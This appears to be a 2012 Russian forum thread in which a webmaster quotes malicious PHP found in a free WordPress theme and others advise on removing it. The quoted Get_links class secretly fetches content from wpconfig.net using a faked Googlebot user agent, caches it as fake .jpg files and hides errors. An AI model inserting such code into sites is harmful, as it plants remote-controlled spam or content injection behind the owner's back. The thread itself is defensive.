X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Бяка в шаблоне Wp
Чеснок
Чеснок
Topic Starter сообщение 2.10.2012, 23:50; Ответить: Чеснок
Сообщение #1


мошенник
*******


Группа: Banned
Сообщений: 3623
Регистрация: 9.12.2009
Из: СССР ☭
Поблагодарили: 1520 раз
Репутация:   262  


в функшн

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;

    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }

    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;

        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}


Удаляю этот кусок и в одиночной записи перестаёт отображаться сайдбар и комментарии. Шаблон http://wp-templates.ru/greenlife/

Ответ нашёлся в файле комментов в виде ещё одной бяки.

Сообщение отредактировал Чеснок - 2.10.2012, 23:57


--------------------
Забанен за мошенничество
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
OlegK
OlegK
сообщение 2.10.2012, 23:57; Ответить: OlegK
Сообщение #2


Топовый постер
*******


Группа: Ex-Moderator
Сообщений: 4043
Регистрация: 24.4.2011
Поблагодарили: 7227 раз
Репутация:   313  


Чеснок, http://habrahabr.ru/sandbox/47832/


--------------------
ooooops.
something goes wrong
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Max_Q
Max_Q
сообщение 2.10.2012, 23:58; Ответить: Max_Q
Сообщение #3


Участник
***

Группа: User
Сообщений: 118
Регистрация: 13.11.2011
Поблагодарили: 46 раз
Репутация:   13  


Код класса удалили, а то места где он вызывается тоже?
Если нет, то поищите в шаблонах 'new Get_links'.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
OlegK
OlegK
сообщение 2.10.2012, 23:59; Ответить: OlegK
Сообщение #4


Топовый постер
*******


Группа: Ex-Moderator
Сообщений: 4043
Регистрация: 24.4.2011
Поблагодарили: 7227 раз
Репутация:   313  


ну и вот тут .. полно


--------------------
ooooops.
something goes wrong
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
MedLib
MedLib
сообщение 3.10.2012, 0:05; Ответить: MedLib
Сообщение #5


Не очень добрый Док
******


Группа: Active User
Сообщений: 2381
Регистрация: 9.8.2008
Из: Румыния & Украина
Поблагодарили: 767 раз
Репутация:   150  


Чеснок, вот здесь заказывают эту "услугу" smile.gif
Как удалять всё, там тоже написано ) И с каких сайтов не стоит скачивать WP-шаблоны, тоже.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
OlegK
OlegK
сообщение 3.10.2012, 0:10; Ответить: OlegK
Сообщение #6


Топовый постер
*******


Группа: Ex-Moderator
Сообщений: 4043
Регистрация: 24.4.2011
Поблагодарили: 7227 раз
Репутация:   313  


тут вот .. описано решение

если решили проблему.. жамкните "жалоба" с просьбой закрыть.. от флуда

ЗАКРЫТО...

Сообщение отредактировал OlegK - 3.10.2012, 1:01
Причина редактирования: закрыто по просьбе ТС


--------------------
ooooops.
something goes wrong
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Заменить в шаблоне (WP) шапку и меню
0 Infe 442 21.6.2017, 15:46
автор: Infe
Открытая тема (нет новых ответов) Иконки в шаблоне.
3 SOROKVLAD29 1392 6.6.2017, 16:01
автор: ZaDrotom
Открытая тема (нет новых ответов) Помогите найти левые ссылки в шаблоне
Скачал паблик шаблон...
3 mr_LasVegas 1083 9.4.2014, 9:17
автор: mr_LasVegas
Открытая тема (нет новых ответов) Требуется помощь в шаблоне на wp
0 CrazyLG 633 29.2.2012, 8:16
автор: CrazyLG
Открытая тема (нет новых ответов) Небольшей баг в шаблоне DLE
Помогуте исправить)
9 Simur 2326 17.1.2011, 10:56
автор: Simur


 



RSS Текстовая версия Сейчас: 12.12.2017, 5:03
Дизайн